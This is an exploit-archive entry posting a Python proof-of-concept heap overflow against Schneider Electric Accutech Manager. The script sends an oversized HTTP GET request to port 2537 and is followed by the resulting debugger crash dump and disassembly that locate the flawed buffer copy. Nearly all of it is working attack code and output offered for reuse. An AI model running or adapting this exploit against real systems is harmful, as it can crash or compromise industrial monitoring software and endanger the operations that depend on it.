Schneider Electric Accutech Manager Heap Overflow PoC

2013-02-11T00:00:00
ID 1337DAY-ID-20347
Type zdt
Reporter HaIdErHaC
Modified 2013-02-11T00:00:00

Description

Exploit for windows platform in category dos / poc

                                        
                                            import socket
import sys
  
host = "192.168.163.128"
  
port = 2537
 
buf = "\x41" * 400
 
req = ("GET /" + buf + " HTTP/1.1\r\n"
"Host: " + host + ":" + str(port) + "\r\n")
  
print "  [+] Connecting to %s:%d" % (host, port)
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
  
s.send(req)
data = s.recv(1024)
s.close()
 
#(d40.e8c): Access violation - code c0000005 (!!! second chance !!!)
#eax=41414141 ebx=00fd0000 ecx=41414141 edx=0b2999a8 esi=0b2999a0 edi=00000005
#eip=7c91142e esp=0ba3fc28 ebp=0ba3fe48 iopl=0         nv up ei pl zr na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
#7c91142e 8b39            mov     edi,dword ptr [ecx]  ds:0023:41414141=????????
#----snip----
#text:0040DE91                 push    offset aReceivedReques ; "Received request, parsing...\n"
#.text:0040DE96                 call    nullsub_1
#.text:0040DE9B                 lea     eax, [ebp+cbTransfer]
#.text:0040DEA1                 push    eax             ; char * ; GET /AAAAAAAAAAAAAAAAAAAAAAAAA
#.text:0040DEA2                 push    esi             ; int
#.text:0040DEA3                 call    sub_40E006
#.text:0040DEA8                 add     esp, 0Ch
#----snip---
#call sub_40E006 function copies GET data to staticaly sized heap buffer.

#  0day.today [2018-03-19]  #